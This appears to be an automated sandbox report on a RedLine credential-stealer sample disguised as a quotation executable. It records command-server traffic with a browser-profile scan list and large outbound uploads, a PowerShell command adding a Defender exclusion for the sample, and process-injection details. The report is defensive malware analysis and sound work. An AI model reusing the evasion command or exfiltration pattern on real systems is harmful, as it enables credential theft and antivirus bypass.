Nov 1, 2024 08:37:07.761944056 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 01 Nov 2024 15:37:07 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	94.141.120.6	55123	5652	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:37:10.843554974 CET	220	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 94.141.120.6:55123 Content-Length: 954986 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 1, 2024 08:37:23.261192083 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 01 Nov 2024 15:37:22 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49754	94.141.120.6	55123	5652	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:37:23.269249916 CET	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 94.141.120.6:55123 Content-Length: 954978 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Nov 1, 2024 08:37:33.992919922 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 01 Nov 2024 15:37:33 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	03:36:55
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\QUOTATION#09678.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\QUOTATION#09678.exe"
Imagebase:	0x2ccfea00000
File size:	2'789'519 bytes
MD5 hash:	4E5909728A72EB29F5CF1FE01867C982
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:36:55
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:36:57
Start date:	01/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:36:57
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:36:57
Start date:	01/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Imagebase:	0xd80000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:36:57
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:36:57
Start date:	01/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Imagebase:
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:36:58
Start date:	01/11/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 764 -s 1056
Imagebase:	0x7ff6032e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:37:02
Start date:	01/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848E550AC Relevance: 6.7, Strings: 5, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h3H, xrefs: 00007FF848E552BE
xIH, xrefs: 00007FF848E550F5
fish, xrefs: 00007FF848E550E0
HH, xrefs: 00007FF848E551A4
pTH, xrefs: 00007FF848E5514B

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID: fish$h3H$pTH$xIH$HH
API String ID: 0-1523251078
Opcode ID: 88d9e3475a971a42a7064a1b7d1c22d9909214f8db60a88059b9816e249b32ba
Instruction ID: 05d6b099bd952042b8c468c212886907ef571f40ef07342ec4725b01818aa334
Opcode Fuzzy Hash: 88d9e3475a971a42a7064a1b7d1c22d9909214f8db60a88059b9816e249b32ba
Instruction Fuzzy Hash: F8D16771A1CA4A5FE75CFB7898651B9B7E1FF96350F04017EE48BC31D2DE28A8028785

Function 00007FF848E5F699 Relevance: 2.7, Strings: 1, Instructions: 1452
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

)H, xrefs: 00007FF848E60493

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID: )H
API String ID: 0-3927468839
Opcode ID: 48c8e8a1be7e6936bf23801e0e3b5d7cf13604cf0d09efb0593952394920275d
Instruction ID: 6bd256b05da9a7b7f44cfa2390b974aa9ef486cbedddf100da2e76bb3d5df674
Opcode Fuzzy Hash: 48c8e8a1be7e6936bf23801e0e3b5d7cf13604cf0d09efb0593952394920275d
Instruction Fuzzy Hash: 3DA2467061CB894FD359EB2884904B5B7E2FF95341F1449BEE48AC72A6DF38E846C781

Function 00007FF848E54F00 Relevance: 2.6, Instructions: 2578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e9e3fd1e6781d8b436045c816a81bbf78746bde55bda08275e82aeb11c2bbd
Instruction ID: 05ea8c592aca45c9e2eadf9772692639cf8d7dff7e39123d3618fc92b1439e44
Opcode Fuzzy Hash: 78e9e3fd1e6781d8b436045c816a81bbf78746bde55bda08275e82aeb11c2bbd
Instruction Fuzzy Hash: 6EF2643190CA8A8FE759EB2884912B57BE1FF91350F5441BED48ADB193DF38B846C784

Function 00007FF848F20061 Relevance: 2.2, Instructions: 2202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271442076.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f20000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a7d8ecc4db44e2c55cfcd8935f98a502f78d71da4083a16afd6b313bac4b58
Instruction ID: 0ff80330761b5a13ed69db8583d1cdf6023f057fbaa36dc59f292612790a4398
Opcode Fuzzy Hash: b4a7d8ecc4db44e2c55cfcd8935f98a502f78d71da4083a16afd6b313bac4b58
Instruction Fuzzy Hash: 48E2377280DACA8FE756FB28A8555A47FE0FF96340F1801FEC489CB1D3DA25684AC745

Function 00007FF848E5BEC4 Relevance: 2.0, Strings: 1, Instructions: 755
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{ , xrefs: 00007FF848E5BEE8

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID: {
API String ID: 0-328471657
Opcode ID: 89bc5942ad71b45cd0b8146672247c281a205bf2c9408e03e845c0f758616f69
Instruction ID: 44b067f7e04cc0b5fb01ae01a49533af4a93f81c6738cc7f1add2be270595677
Opcode Fuzzy Hash: 89bc5942ad71b45cd0b8146672247c281a205bf2c9408e03e845c0f758616f69
Instruction Fuzzy Hash: B8329A71A0CB8A4FE319EB6884614B5B7E1FFD5340F1445BED08AC72A6DF38A846C785

Function 00007FF848E52FF0 Relevance: 2.0, Strings: 1, Instructions: 734
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00007FF848E557DF

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 780ca2469974c4e0e1b4e9e41b0c90dac3fb2f23ff5df2c42e56d84a81be7bf9
Instruction ID: fe77070c552fee3cd6d0e99a9e11145219f7179d98819d7fd3674410b2f985a0
Opcode Fuzzy Hash: 780ca2469974c4e0e1b4e9e41b0c90dac3fb2f23ff5df2c42e56d84a81be7bf9
Instruction Fuzzy Hash: 03224471A1CA4A4FE748EB6894815B1B7E0FF85354F1442BAC49EC7197EE38E843C785

Function 00007FF848E59C08 Relevance: .9, Instructions: 927COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8504a874db0b028dd1b80da9aaa4427cd077c7c15a1f10431946b13d5a2509
Instruction ID: 61afaa3f0bb56c1ea54c5d1a7d20f61edfc758b8bec86530eb33b35e217af633
Opcode Fuzzy Hash: 0d8504a874db0b028dd1b80da9aaa4427cd077c7c15a1f10431946b13d5a2509
Instruction Fuzzy Hash: 7252C270A1CA0A8FDBA8EB689455A79B7E1FF59341F1401BDE04EC7292DF34EC428745

Function 00007FF848E59A50 Relevance: .6, Instructions: 621COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb1ab859be535ae36bf155efda10c53086c1aae4bd985589a75bf40d42b8c2ef
Instruction ID: 9062a2dd789afa2085adfe2393ec43df3b5c985fe91a69b0f9ac3b0b771ece95
Opcode Fuzzy Hash: fb1ab859be535ae36bf155efda10c53086c1aae4bd985589a75bf40d42b8c2ef
Instruction Fuzzy Hash: E7024831A1C98A8FE3ACF62C88165757BD0FF99364F5402B9E04DD76A2DB38B8074385

Function 00007FF848E5C730 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1724881249e87fd525bdc584e83427bf57727095b33d02b49cef829305f0ebd
Instruction ID: a7f01a49ff009e8875f81a102e6200557f8a8c7eebd16f7d7982f272c6e46a64
Opcode Fuzzy Hash: d1724881249e87fd525bdc584e83427bf57727095b33d02b49cef829305f0ebd
Instruction Fuzzy Hash: 67D1557190CB864FE31DDB2984A5175B7E2FF94301F1486BED4CAC72A6DB38A842C785

Function 00007FF848E5381A Relevance: 1.6, APIs: 1, Instructions: 143
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF848E538FA

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c4b61c66cb1016e1ead21b063eca2e3dc168e2624648a28f62aadd26af69de03
Instruction ID: 3d860fa5db5b658beaed76cd9f1fd9b650683e087585e5ccc62511f9f6633c0b
Opcode Fuzzy Hash: c4b61c66cb1016e1ead21b063eca2e3dc168e2624648a28f62aadd26af69de03
Instruction Fuzzy Hash: C941283190CB884FD7199BA89C466E97BE0EF56321F0442AFD089D3293DB746806C796

Function 00007FF848E50E65 Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FF848E50F0F

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: cae7f7763d54897c0d169e14d70655d0ef5bf336e4175a4629b9a0afec47de60
Instruction ID: e1c5b824677391c1d07e5ca0f33052141c19c049613c0e0eecb20b7d6ad2e1ba
Opcode Fuzzy Hash: cae7f7763d54897c0d169e14d70655d0ef5bf336e4175a4629b9a0afec47de60
Instruction Fuzzy Hash: B731E23090DB888FDB1AEB689845AE97FF0EB56320F0441AFE089C7163C6746449CB52

Function 00007FF848F210C9 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271442076.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f20000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb5fd9780b0e4634367cb7c0921da9e7d0d9031932ccaecaf855e20516fe49ad
Instruction ID: 192c6559352e65e66cb1d1c797ddde8de5a0fd3d6a40f80c3d43a96ef5205a50
Opcode Fuzzy Hash: fb5fd9780b0e4634367cb7c0921da9e7d0d9031932ccaecaf855e20516fe49ad
Instruction Fuzzy Hash: E3715331D0DAC94FEB56EB68A8255A47BE1EF56340F0900FBD04AC71D3DA2ABC45C389

Non-executed Functions

Function 00007FF848E6BEA0 Relevance: .9, Instructions: 928COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aebae091bf43286edcce03230888e795ce89be3372321f29dfb32a207dd01c1b
Instruction ID: 3a4e47d93c2b9184aea10dd7b408c603c53d8a2020915c1585b6f77379e6cf37
Opcode Fuzzy Hash: aebae091bf43286edcce03230888e795ce89be3372321f29dfb32a207dd01c1b
Instruction Fuzzy Hash: A412683190DA9A8FE359EB28C8810B17BD1FF91354F5445BAC48AD71A3DF39B886C784

Function 00007FF848E511F2 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271233174.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e50000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f564ab55fd22f2a152967b851cd23da9bbc9611464877ae6251fd69e3f163b
Instruction ID: ff9c2c876a09d9475d504dc930e94f13edde1b79560a3ec9be05a6bbd7d67788
Opcode Fuzzy Hash: 33f564ab55fd22f2a152967b851cd23da9bbc9611464877ae6251fd69e3f163b
Instruction Fuzzy Hash: 2C31C7A7A8D8227DA70DBABDF8454F97704EF85375B09957BD1C8CD0539A04208B8AF8

Analysis Process: InstallUtil.exePID: 5652, Parent PID: 764COMMON

Execution Graph

Execution Coverage:	13.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	0

Executed Functions

Function 01600CE0 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 01600D47

Memory Dump Source

Source File: 00000005.00000002.2386662868.0000000001600000.00000040.00000800.00020000.00000000.sdmp, Offset: 01600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1600000_InstallUtil.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: d6358634628098f41b7cdd6911cecdc888204178860854e6d448653eab7333f0
Instruction ID: f92ba0631e6457aba12cb4eae8790ec9174dc6330a4a4e19f0cf321e154ba718
Opcode Fuzzy Hash: d6358634628098f41b7cdd6911cecdc888204178860854e6d448653eab7333f0
Instruction Fuzzy Hash: 97113771D002488FCB24DFAAC8557EFBBF5AF49314F20841AD419A7240C739A544CFA0

Function 01600CE8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 01600D47

Memory Dump Source

Source File: 00000005.00000002.2386662868.0000000001600000.00000040.00000800.00020000.00000000.sdmp, Offset: 01600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1600000_InstallUtil.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 9daed437659a43be177efa008236f91e182d14722feaf87f1a63959104314823
Instruction ID: f9424bb751f9971271a37a9e5ea1d33eca2069a477402ddec64ade58fb8608d6
Opcode Fuzzy Hash: 9daed437659a43be177efa008236f91e182d14722feaf87f1a63959104314823
Instruction Fuzzy Hash: 5D11F5B59002498FDB24DFAAC4457DFFBF5EB48314F208419D519A7240CB79A544CFA1

Function 06771550 Relevance: 1.4, Instructions: 1411
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb21413ac1cc85b79462277fddb218c9508ce5209fc0d84fb47d649af3cfc1b0
Instruction ID: 081bad976e67c2582cb568c3e0eaa62868e5ff2e3957c5975316b7e99212f164
Opcode Fuzzy Hash: bb21413ac1cc85b79462277fddb218c9508ce5209fc0d84fb47d649af3cfc1b0
Instruction Fuzzy Hash: BBC26E34B102189FCB14DF58C991EADBBB6FF88700F108099E659AB361DB71AE45CF61

Function 0677349D Relevance: 1.3, Instructions: 1286
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 372b5a6da72e7f63e2048299916058a1489563d3139d5a93e5ac90443f4225bc
Instruction ID: d43221ffcdb9a074a5b946f361cb2a3cfa89210c8d1afa37497e7b7a7b91b971
Opcode Fuzzy Hash: 372b5a6da72e7f63e2048299916058a1489563d3139d5a93e5ac90443f4225bc
Instruction Fuzzy Hash: F8A1BF74B002459FCF448B68C994ABEBBF6FF89310B10846AE516DB3A1DB34DC05DBA1

Function 06770048 Relevance: .7, Instructions: 664
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e990a23aa7d83d1647ef621a0c7b33c23c12dce7f92b915d1bd3098ddc04663
Instruction ID: 38f55281a7997324f59f19b2a184fb68bd778c0705b8c6e8aa1b7f2a8f7cafb3
